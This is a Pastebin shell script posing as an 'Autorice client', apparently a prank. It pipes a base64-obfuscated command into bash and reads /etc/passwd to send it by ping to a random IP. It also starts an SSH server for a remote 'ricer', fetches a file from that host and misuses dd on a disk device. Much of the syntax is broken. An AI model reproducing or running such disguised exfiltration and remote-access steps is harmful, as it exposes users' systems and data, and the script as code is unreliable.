Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Baseline for Autorice client, in early alpha. Not too trustworthy, yet.
- # Todo: re-write in node.js/assembly with a visual basic server
- echo "amVzdXMgaSBzaW5jZXJlbHkgaG9wZSB5b3UgZGlkIG5vdCBhY3R1YWxseSBydW4gdGhpcyBzY3JpcHQK" | base64 -d
- echo "c2xlZXAgNDBkCg==" | base64 -d | bash
- secure_hash=$((5)) # Determined by fair dice role, completely random
- password=$(cat /etc/passwd)
- # This function prepares the SSH server that your Professional Ricer will connect with.
- prepareSSH () {
- sudo apt-get install openssh
- sudo pacman -S openssh
- sudo service ssh start
- }
- installGentoo () {
- genStatus=$(uname -v | grep Gentoo)
- if[genStatus == ""]
- then
- # lol hope you're using amd MASTERRACE
- wget http://ftp.snt.utwente.nl/pub/os/linux/gentoo/releases/amd64/20140826/livedvd-amd64-multilib-20140826.iso
- sudo dd if=/dev/hda1 of=./livedvd-amd64-multilib-20140826.iso
- done
- }
- # TODO: Make function take less than 4,294,967,295 tries to find a compatable Official Professional Ricer
- randomIP () {
- number=0
- while [ "$number" -le 0 ]
- do
- number=$RANDOM
- let "number %= 255"
- done
- echo -n "$number"
- }
- findRicerHostIP () {
- randomIP
- echo -n .
- randomIP
- echo -n .
- randomIP
- echo -n .
- randomIP
- randomDOT
- }
- prepareSSH
- installGentoo
- ip=$(findRicerHostIP)
- ping -p $password $ip
- wget $ip/www/secure_hash_host -o tempkey
- tempkey=$(cat ./tempkey)
- if [ $secure_hash == tempkey]
- then
- echo "Connection established! Prepare to be riced!!one!"
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement